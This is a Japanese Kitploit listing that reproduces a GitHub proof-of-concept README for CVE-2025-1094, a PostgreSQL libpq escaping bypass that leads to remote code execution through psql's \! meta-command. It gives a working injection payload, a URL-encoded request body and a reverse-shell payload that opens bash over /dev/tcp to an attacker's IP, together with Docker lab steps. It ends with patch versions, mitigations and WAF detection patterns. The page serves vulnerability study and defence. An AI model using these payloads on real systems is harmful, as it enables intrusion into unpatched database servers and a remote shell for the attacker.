Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC-CVE-2025-1094 — CVE-2025-1094 の概念実証エクスプロイト。libpq エスケープバイパスを介して RCE につながる PostgreSQL psql SQL インジェクション。Docker 環境、エクスプロイトスクリプト、および緩和ガイダンスが含まれます。 | Kitploit
ツール/GitHubGitHub/trandonga3/poc-cve-2025-1094
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

CVE-2025-1094 の概念実証エクスプロイト。libpq エスケープバイパスを介して RCE につながる PostgreSQL psql SQL インジェクション。Docker 環境、エクスプロイトスクリプト、および緩和ガイダンスが含まれます。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

POC CVE-2025-1094: PostgreSQL psql SQL インジェクション

Proof of Concept — PostgreSQL クライアント libpq と psql ツールにおける深刻な SQL インジェクション脆弱性

📋 目次

  1. 脆弱性の紹介
  2. プロジェクトのディレクトリ構造
  3. 攻撃ペイロードの分析
  4. 使用方法
  5. 修正方法と予防策

1. 脆弱性の紹介

概要

CVE-2025-1094 は、PostgreSQL のクライアントライブラリ libpq とコマンドラインツール psql に存在する深刻な脆弱性です。この脆弱性により、攻撃者は SQL インジェクションを実行し、アプリケーションが PQescapeLiteral などの標準的な文字列エスケープ関数を使用していた場合でも、リモートコード実行(RCE)に昇格させることができます。

根本原因

この問題は、エスケープライブラリと psql のパーサーとの間で、不正なマルチバイト(UTF-8 など)バイト列の処理に一貫性がないことに起因します。

2つの主な攻撃メカニズム:

1. エスケープのバイパス

  • PQescapeLiteral 関数は「新しいバイト」(例: 0xC0)に騙される。
  • この関数は、このバイトとそれに続く単一引用符(')を 1 つの文字として扱う。
  • その結果、その単一引用符がエスケープされない。

2. メタコマンドによる RCE

  • この欠陥のある文字列が psql ツールに入力されると、
  • 攻撃者は SQL ステートメントから脱出し、psql のシステムコマンド \! を使用できる。
  • サーバー上で任意のシェルコードを実行できる。

2. プロジェクトのディレクトリ構造

このプロジェクトは、C 言語の libpq 関数を呼び出す実際の環境をシミュレートするように構成されています:

root@kitploit:~
.
├── docker-compose.yml       # PostgreSQL + Web アプリを起動
├── exolit.py               # エクスプロイトスクリプト - 外部からの攻撃
├── README.md               # 本書
└── app/
    ├── app.py             # Flask Web アプリ - ユーザー入力を受け付ける
    ├── Dockerfile         # 脆弱性のあるコードを含むイメージをビルド
    └── init_db.sql        # データベースを初期化

主なコンポーネント:

  • Flask Web App: /search エンドポイント経由でユーザーからの入力を受け取る
  • libpq C Function: SQL クエリを処理するが、バイトの妥当性をチェックしない
  • psql Meta-commands: \! によるシステムコマンドの実行を可能にする
  • Subprocess Pipe: アプリケーションは入力ストリーム経由で SQL 文を psql に渡す

3. 攻撃ペイロードの分析

サンプルペイロード

root@kitploit:~
hax\xc0'; \! id; #

各構成要素の解説:

構成要素値意味
データ入力hax通常のデータ
新しいバイト\xc0不正な UTF-8 バイト - エスケープをバイパス
引用符'単一引用符「不可視」 - フィルターをすり抜ける
SQL 文の終端;現在の SQL 文を終了する
メタコマンド\!psql の特別なコマンド - OS シェルへ脱出する
シェルコマンドid実行するコマンド(リバースシェルに置き換え可能)
コメント#SQL コメント記号 - 余分な部分を無効化する

実行プロセス:

root@kitploit:~
1. ユーザー入力: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() は \xc0 + ' を攻撃として認識しない
   ↓
3. 文字列が psql に送信される: hax\xc0'; \! id; #
   ↓
4. psql が解析: \xc0 の部分が文字列の終端として扱われる
   ↓
5. メタコマンド \! が起動される
   ↓
6. シェルコマンド id がコンテナの権限で実行される

4. 使用方法

方法1: Docker Compose を使用する(推奨)

ステップ1: 環境を起動する

root@kitploit:~
docker-compose up -d

ステップ2: コンテナの起動を待つ

root@kitploit:~
docker-compose ps

PostgreSQL と Flask アプリの両方が実行されていることを確認してください。

ステップ3: エクスプロイトを実行する

root@kitploit:~
python exolit.py

期待される結果: サーバーから取得した uid=0(root) の情報が表示されます。

ステップ4: 環境を停止する

root@kitploit:~
docker-compose down

方法2: Burp Suite を使用する(手動)

HTTP リクエストを送信する

以下のボディで /search に POST リクエストを送信します:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

URL エンコーディングのリファレンス:

  • %c0 = \xc0(不正な UTF-8 バイト)
  • %27 = '(単一引用符)
  • %23 = #(ハッシュ記号)
  • + = スペース

リバースシェルのペイロード:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

注意: <ip-hacker> と <port-hacker> を攻撃者のマシンの IP とポートに置き換えてください。


5. 修正方法と予防策

A. パッチの適用

PostgreSQL をパッチ適用済みのバージョンにアップグレードします:

Version安全なバージョン
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. エンコーディングの検証

処理する前に、入力データが有効な UTF-8 であるかどうかを常に検証してください:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. psql CLI の使用を制限する

アプリケーション開発では、公式のドライバライブラリを使用してください:

root@kitploit:~
# ❌ ダメ: subprocess + psql を使用
subprocess.run(['psql', '-c', user_input])

# ✅ 良い: psycopg2 でパラメータ化クエリを使用
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. 最小権限の原則

  • Web アプリを root 権限で実行しない
  • データベースを root 権限で実行しない
  • 最小限の権限を持つ専用ユーザーを使用する

E. WAF / IDS ルール

パターンを検出するルールを設定します:

root@kitploit:~
- リクエストボディ内のバイト 0xC0、0xC1
- ユーザー入力内のメタコマンド `\!`
- `; \!` または `' \!` のような文字列

📚 参考資料

  1. ソースコードファイルへのリンク(パッチ適用前) 脆弱性が残っているバージョン 17.2 のファイル src/interfaces/libpq/fe-exec.c を確認できます:

    • GitHub リンク: tag REL_17_2 の PostgreSQL fe-exec.c (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • 重要な関数: PQescapeStringInternal 関数を探してください(通常 3400 行目以降にあります)。これは PQescapeLiteral と PQescapeString の両方が呼び出す「中核」関数です。
  2. 「パッチ」を確認する(The Patch)- ホワイトボックス分析に最も重要 なぜ脆弱性が発生したのか、どのように修正されたのかを理解するには、コミット差分(脆弱なバージョンと修正版の間の変更)を確認するのが最良の方法です。

    • 公式コミットリンク: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)
  3. 脆弱性の分析記事: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/


ツールをダウンロード